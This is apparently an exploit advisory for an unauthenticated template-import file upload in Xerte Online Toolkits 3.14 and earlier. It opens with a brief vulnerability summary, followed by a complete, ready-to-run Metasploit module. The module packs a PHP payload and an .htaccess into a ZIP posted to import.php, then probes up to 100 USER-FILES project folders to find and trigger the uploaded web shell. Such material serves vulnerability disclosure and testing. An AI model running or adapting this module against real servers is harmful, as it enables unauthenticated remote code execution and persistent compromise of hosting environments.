📄 Xerte Online Toolkits 3.14 Shell Upload

=============================================================================================================================================
    | # Title     : Xerte Online Toolkits ≤ 3.14 Unauthenticated Template Import Leads to Arbitrary File Upload and Remote Code Execution       |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
    | # Vendor    : https://xot.xerte.org.uk/                                                                                                   |
    =============================================================================================================================================
    
    [+] Summary    : A vulnerability in Xerte Online Toolkits versions 3.14 and earlier allows unauthenticated users to upload arbitrary files via the template import functionality.
    
    The issue exists in: /website_code/php/import/import.php
    
    Due to missing authentication checks on the import endpoint, an attacker can upload a crafted ZIP archive disguised as a legitimate project template. The archive may contain a malicious PHP payload placed inside the media/ directory.
    
    [+] Once imported:
    
    The application extracts the ZIP contents into a publicly accessible directory under: USER-FILES/{projectID}--{targetFolder}/
    
    The attacker can directly access the uploaded PHP file.
    
    This results in remote code execution (RCE) under the web server context.
    
    [+] The vulnerability combines:
    
    Missing authentication
    
    Insufficient file type validation
    
    Unsafe extraction of user-controlled archives
    
    [+] Successful exploitation may allow attackers to:
    
    Execute arbitrary PHP code
    
    Gain persistent web shell access
    
    Compromise the hosting environment
    
    [+] POC : 
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Template Import',
            'Description' => %q{
              This module exploits an authentication bypass allowing arbitrary
              file upload in versions 3.14 and earlier to upload and execute a shell.
              Specifically, this targets /website_code/php/import/import.php
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'indoushka',
            ],
            'References' => [
              ['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'],
              ['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available']
            ],
            'Privileged' => false,
            'Targets' => [
              [
                'PHP', {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                }
              ]
            ],
            'DisclosureDate' => '2025-08-04',
            'DefaultTarget' => 0,
            'Notes' => {
              'Reliability' => [REPEATABLE_SESSION],
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits'])
          ]
        )
      end
    
      def check
        print_status('Performing check')
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
        })
    
        return Exploit::CheckCode::Unknown unless res
    
        if res.code == 200 &&
           res.body.include?('No valid language definition found in the file!')
          return Exploit::CheckCode::Vulnerable
        end
    
        Exploit::CheckCode::Safe
      end
    
      def upload_payload_zip
        zip = Rex::Zip::Archive.new
    
        zip.add_file("media/#{php_filename}", payload.encoded)
        zip.add_file('media/.htaccess', htaccess_payload)
    
        zip.add_file('data.xml', %q{
    <learningObject targetFolder="site" language="" name="Project Title" theme="default">
      <page linkID="PG1360232941652" name="Page Title" subtitle="Enter Page Subtitle">
        <section linkID="PG1360232936371" name="This is section One"/>
      </page>
    </learningObject>
        })
    
        zip.add_file('mal-theme.info', %q{
    name: mal-theme
    display name: Flat: Black & Green
    description: Test
    enabled: yes
    preview: apereo.jpg
        })
    
        zip.add_file('template.xml', %q{
    <learningObject editorVersion="3" targetFolder="Nottingham" name="Enter Project Title" language="" navigation="Linear" textSize="12" theme="xot1" themeIcons="false" displayMode="fill window" responsive="true" />
        })
    
        mime = Rex::MIME::Message.new
        mime.add_part(zip.pack, 'application/zip', 'binary',
                      %(form-data; name="filenameuploaded"; filename="#{zip_filename}"))
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'import', 'import.php'),
          'ctype' => "multipart/form-data; boundary=#{mime.bound}",
          'data' => mime.to_s
        )
    
        unless res && res.code == 200
          fail_with(Failure::UnexpectedReply, 'Upload failed or server did not respond as expected')
        end
    
        print_good('ZIP uploaded successfully')
      end
    
      def http_send_command(_cmd)
        found = nil
    
        for i in 1..100 do
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{i}--Nottingham", 'media', php_filename)
          })
    
          next unless res&.code == 200
    
          print_status("Found shell at #{i}")
          found = i
          break
        end
    
        unless found
          fail_with(Failure::NotFound, 'Shell not found in expected USER-FILES directories')
        end
    
        register_file_for_cleanup("USER-FILES/#{found}--Nottingham/media/#{php_filename}")
    
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{found}--Nottingham", 'media', php_filename)
        })
      end
    
      def exploit
        upload_payload_zip
        http_send_command(payload.encoded)
      end
    
      def php_filename
        @php_filename ||= Rex::Text.rand_text_alpha(8) + '.php'
      end
    
      def htaccess_payload
        <<~PAYLOAD
          <IfModule mod_rewrite.c>
              RewriteEngine Off
          </IfModule>
        PAYLOAD
      end
    
      def zip_filename
        @zip_filename ||= Rex::Text.rand_text_alpha(8) + 'mal-template.zip'
      end
    
    end
    
    
    	
    Greetings to :======================================================================
    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
    ====================================================================================